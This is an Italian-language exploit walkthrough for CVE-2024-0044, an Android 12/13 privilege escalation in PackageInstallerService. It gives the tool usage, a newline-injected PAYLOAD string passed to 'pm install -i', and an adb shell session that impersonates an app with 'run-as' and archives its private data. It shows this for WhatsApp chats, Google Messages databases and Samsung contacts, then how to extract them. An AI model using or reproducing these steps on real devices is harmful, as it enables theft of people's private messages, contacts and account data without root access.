
CVE-2024-0044: una vulnerabilità ad alta gravità 'run-as any app' che colpisce Android versioni 12 e 13
CVE-2024-0044, identificata nella funzione createSessionInternal del file PackageInstallerService.java, è una vulnerabilità ad alta severità che interessa Android versione 12 e 13. Questa vulnerabilità consente a un attaccante di eseguire un attacco "run-as any app", portando a un escalation locale dei privilegi senza richiedere interazione da parte dell'utente. Il problema deriva da una convalida impropria dell'input all'interno della funzione createSessionInternal. Un attaccante può sfruttarlo manipolando il processo di creazione della sessione, ottenendo potenzialmente accesso non autorizzato a dati sensibili ed eseguendo azioni non autorizzate sul dispositivo interessato.
L'exploit è stato scoperto da Meta security
Il proof of concept è stato riassunto e condiviso da Tiny hack
I dettagli sulla patch di sicurezza sono disponibili nel bollettino di sicurezza Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P viene usato per specificare il nome del pacchetto target che si vuole impersonare
-A per specificare il file apk da caricare nel dispositivo
Esegui lo strumento
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Verrà generato un file payload.txt come questo:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success dopo l'ultimo comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crea una directory temporanea: mkdir /data/local/tmp/wa/
Crea un segnaposto per un file tar: touch /data/local/tmp/wa/wa.tar
Imposta permessi aperti a tutti: chmod -R 0777 /data/local/tmp/wa/ per garantire che qualsiasi utente possa leggere, scrivere ed eseguire in questa directory.
Cambia contesto utente: run-as victim per ottenere gli stessi permessi dell'utente "victim".
Archivia i dati dell'applicazione target: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creando un tarball della directory dei dati di WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Puoi estrarre i dati usando 7z o qualsiasi altro strumento
Puoi usare Whatsapp chat exporter per convertirli in HTML
Questo ti permette di ottenere i dati di WhatsApp senza accesso root sul tuo dispositivo.
Basta cambiare il nome del pacchetto come segue:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Segui le istruzioni sopra e dopo aver estratto il file wa.tar decomprimilo e apri le conversazioni in com.google.android.apps.messaging/databases/bugle_db usando sqlitebrowser o qualsiasi altro strumento.
Testato su dispositivo Samsung. Per altri dispositivi, controlla il nome del pacchetto del provider dei contatti.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Segui le istruzioni sopra e dopo aver estratto il file wa.tar decomprimilo e apri i contatti in com.samsung.android.providers.contacts/databases/contacts2.db usando sqlitebrowser o qualsiasi altro strumento. Il file db contiene tutte le informazioni degli account email dell'utente insieme all'elenco dei contatti.